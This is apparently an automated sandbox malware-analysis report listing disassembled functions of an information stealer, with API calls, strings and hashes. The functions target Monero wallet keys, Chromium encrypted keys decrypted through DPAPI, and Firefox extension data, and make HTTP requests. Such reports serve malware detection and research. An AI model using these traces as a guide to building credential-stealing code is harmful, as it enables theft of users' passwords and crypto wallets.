API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 4840d492fbb0fc4aee995909272d3a05b64ae5f0dfa5c76901a44d9e786b4ef5
Instruction ID: 600f1b0772cef3401d34a4df1e7071fde9a21fe8deeb9422ec40f33297063444
Opcode Fuzzy Hash: 4840d492fbb0fc4aee995909272d3a05b64ae5f0dfa5c76901a44d9e786b4ef5
Instruction Fuzzy Hash: FAE1AD728101189AEB09FBA8DC96EEE7338EF54300F50815AF51676091EF386A4DDF76

Function 00D7D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D8A740: lstrcpy.KERNEL32(00D90E17,00000000), ref: 00D8A788

Part of subcall function 00D8A9B0: lstrlen.KERNEL32(?,01B08B50,?,\Monero\wallet.keys,00D90E17), ref: 00D8A9C5
Part of subcall function 00D8A9B0: lstrcpy.KERNEL32(00000000), ref: 00D8AA04
Part of subcall function 00D8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D8AA12

Part of subcall function 00D8A8A0: lstrcpy.KERNEL32(?,00D90E17), ref: 00D8A905

Part of subcall function 00D88B60: GetSystemTime.KERNEL32(00D90E1A,01B0E290,00D905AE,?,?,00D713F9,?,0000001A,00D90E1A,00000000,?,01B08B50,?,\Monero\wallet.keys,00D90E17), ref: 00D88B86

Part of subcall function 00D8A920: lstrcpy.KERNEL32(00000000,?), ref: 00D8A972
Part of subcall function 00D8A920: lstrcat.KERNEL32(00000000), ref: 00D8A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00D7D801
lstrlen.KERNEL32(00000000), ref: 00D7D99F
lstrlen.KERNEL32(00000000), ref: 00D7D9B3
DeleteFileA.KERNEL32(00000000), ref: 00D7DA32

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 32b08f432b2619be07b0d1905bad1887847912f98bca513c6618efea219bc782
Instruction ID: 65e055909f7d1cd24b247469cdfaa8c4f3bef4539d0eaf77036e3300e4ddd2bb
Opcode Fuzzy Hash: 32b08f432b2619be07b0d1905bad1887847912f98bca513c6618efea219bc782
Instruction Fuzzy Hash: 4B81E1729101189BEB08FBA8DC96DEE7339EF54300F50455AF517A6091EF386A09DF72

Function 00D7F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D8A7E6

Part of subcall function 00D799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D799EC
Part of subcall function 00D799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00D79A11
Part of subcall function 00D799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00D79A31
Part of subcall function 00D799C0: ReadFile.KERNEL32(000000FF,?,00000000,00D7148F,00000000), ref: 00D79A5A
Part of subcall function 00D799C0: LocalFree.KERNEL32(00D7148F), ref: 00D79A90
Part of subcall function 00D799C0: CloseHandle.KERNEL32(000000FF), ref: 00D79A9A

Part of subcall function 00D88E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00D88E52

Part of subcall function 00D8A740: lstrcpy.KERNEL32(00D90E17,00000000), ref: 00D8A788

Part of subcall function 00D8A9B0: lstrlen.KERNEL32(?,01B08B50,?,\Monero\wallet.keys,00D90E17), ref: 00D8A9C5
Part of subcall function 00D8A9B0: lstrcpy.KERNEL32(00000000), ref: 00D8AA04
Part of subcall function 00D8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D8AA12

Part of subcall function 00D8A8A0: lstrcpy.KERNEL32(?,00D90E17), ref: 00D8A905

Part of subcall function 00D8A920: lstrcpy.KERNEL32(00000000,?), ref: 00D8A972
Part of subcall function 00D8A920: lstrcat.KERNEL32(00000000), ref: 00D8A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00D91580,00D90D92), ref: 00D7F54C
lstrlen.KERNEL32(00000000), ref: 00D7F56B

Strings

^userContextId=4294967295, xrefs: 00D7F59C
moz-extension+++, xrefs: 00D7F5AD

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 1ed21dfd92eb0125157690b73f717d4599518d9b878b1fb6d711589ed55e2ecc
Instruction ID: 08fe08cc3ad7b25f3f6b69be287646d4be843efc67ad1f2ea5456562a2468ea2
Opcode Fuzzy Hash: 1ed21dfd92eb0125157690b73f717d4599518d9b878b1fb6d711589ed55e2ecc
Instruction Fuzzy Hash: 4151F175D10108AAEB04FBB8DC96DED7778EF54300F50852AF81667191EF386A09CBB2

Function 00D79CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00D8A740: lstrcpy.KERNEL32(00D90E17,00000000), ref: 00D8A788

Part of subcall function 00D799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D799EC
Part of subcall function 00D799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00D79A11
Part of subcall function 00D799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00D79A31
Part of subcall function 00D799C0: ReadFile.KERNEL32(000000FF,?,00000000,00D7148F,00000000), ref: 00D79A5A
Part of subcall function 00D799C0: LocalFree.KERNEL32(00D7148F), ref: 00D79A90
Part of subcall function 00D799C0: CloseHandle.KERNEL32(000000FF), ref: 00D79A9A

Part of subcall function 00D88E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00D88E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00D79D39

Part of subcall function 00D79AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00D74EEE,00000000,00000000), ref: 00D79AEF
Part of subcall function 00D79AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00D74EEE,00000000,?), ref: 00D79B01
Part of subcall function 00D79AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00D74EEE,00000000,00000000), ref: 00D79B2A
Part of subcall function 00D79AC0: LocalFree.KERNEL32(?,?,?,?,00D74EEE,00000000,?), ref: 00D79B3F

Part of subcall function 00D79B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00D79B84
Part of subcall function 00D79B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00D79BA3
Part of subcall function 00D79B60: LocalFree.KERNEL32(?), ref: 00D79BD3

Strings

"encrypted_key":", xrefs: 00D79D30
, xrefs: 00D79DC1
DPAPI, xrefs: 00D79D89

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 2cbf60aa3cf5c4e8c81af2a9d0b0c9642772d161646c80f981634aedae3aaefe
Instruction ID: 41e29f4bd6f518e096719a7245fe0f6d13ea957fadb267665b5910a6d8ef34e2
Opcode Fuzzy Hash: 2cbf60aa3cf5c4e8c81af2a9d0b0c9642772d161646c80f981634aedae3aaefe
Instruction Fuzzy Hash: 5E3123B6D10109ABCF14EBE4DC96AEEB7B8EF48304F14855DE905A7241F7349A04CBB1

Function 00D86AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01B089F0,?,00D9110C,?,00000000,?,00D91110,?,00000000,00D90AEF), ref: 00D86ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00D86AE8
CloseHandle.KERNEL32(00000000), ref: 00D86AF9
Sleep.KERNEL32(00001770), ref: 00D86B04
CloseHandle.KERNEL32(?,00000000,?,01B089F0,?,00D9110C,?,00000000,?,00D91110,?,00000000,00D90AEF), ref: 00D86B1A
ExitProcess.KERNEL32 ref: 00D86B22

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 8512c58f34173e0925bfe00dbf64640ad02849e6945c5b0f336ff7e8fef45c34
Instruction ID: 96022add5481353ccf4ce246fe8b628d17417ea1d16d2cf7b26863a8b2e36cda
Opcode Fuzzy Hash: 8512c58f34173e0925bfe00dbf64640ad02849e6945c5b0f336ff7e8fef45c34
Instruction Fuzzy Hash: ABF05870A4420DABE700BBA0DC8ABBE7B34FB04711F204615F512A11C1DBB1E940EBB7

Function 00D747B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00D74839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00D74849

Strings

<, xrefs: 00D747C9

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 74980d9e498179d7554961dc60f2ba8571262acb84e36774a68095554a28d1ec
Instruction ID: 31b184f94c93eda05288d0f6bbb3c3c0afd9acd51a7bc02bcc9a2f0ca4b97068
Opcode Fuzzy Hash: 74980d9e498179d7554961dc60f2ba8571262acb84e36774a68095554a28d1ec
Instruction Fuzzy Hash: F62130B1D00209ABDF14EFA4ED4AADD7B74FB44310F108625F515A7280EB706609DF91

Function 00D851F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 00D8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D8A7E6

Part of subcall function 00D76280: InternetOpenA.WININET(00D90DFE,00000001,00000000,00000000,00000000), ref: 00D762E1
Part of subcall function 00D76280: StrCmpCA.SHLWAPI(?,01B0F3D8), ref: 00D76303
Part of subcall function 00D76280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00D76335
Part of subcall function 00D76280: HttpOpenRequestA.WININET(00000000,GET,?,01B0EA68,00000000,00000000,00400100,00000000), ref: 00D76385
Part of subcall function 00D76280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00D763BF
Part of subcall function 00D76280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00D763D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00D85228

Strings

ERROR, xrefs: 00D8521A
ERROR, xrefs: 00D85273

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: b1d8813445ed42e1fa26561746ac4e9f57ba8935df12edfeb30f40387a0a7089
Instruction ID: cfd74cf45dd4fecf8c59e1a7f9faafc78c28c0f686a8f09aa8599cb3be168304
Opcode Fuzzy Hash: b1d8813445ed42e1fa26561746ac4e9f57ba8935df12edfeb30f40387a0a7089
Instruction Fuzzy Hash: D311F130910148ABDB18FF68DD92EED7378EF50300F408155F81A56592EF35AB05D7B2

Function 00D84F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D88DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00D88E0B

lstrcat.KERNEL32(?,00000000), ref: 00D84F7A
lstrcat.KERNEL32(?,00D91070), ref: 00D84F97
lstrcat.KERNEL32(?,01B08C20), ref: 00D84FAB
lstrcat.KERNEL32(?,00D91074), ref: 00D84FBD

Part of subcall function 00D84910: wsprintfA.USER32 ref: 00D8492C
Part of subcall function 00D84910: FindFirstFileA.KERNEL32(?,?), ref: 00D84943

Part of subcall function 00D84910: StrCmpCA.SHLWAPI(?,00D90FDC), ref: 00D84971
Part of subcall function 00D84910: StrCmpCA.SHLWAPI(?,00D90FE0), ref: 00D84987
Part of subcall function 00D84910: FindNextFileA.KERNEL32(000000FF,?), ref: 00D84B7D
Part of subcall function 00D84910: FindClose.KERNEL32(000000FF), ref: 00D84B92

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
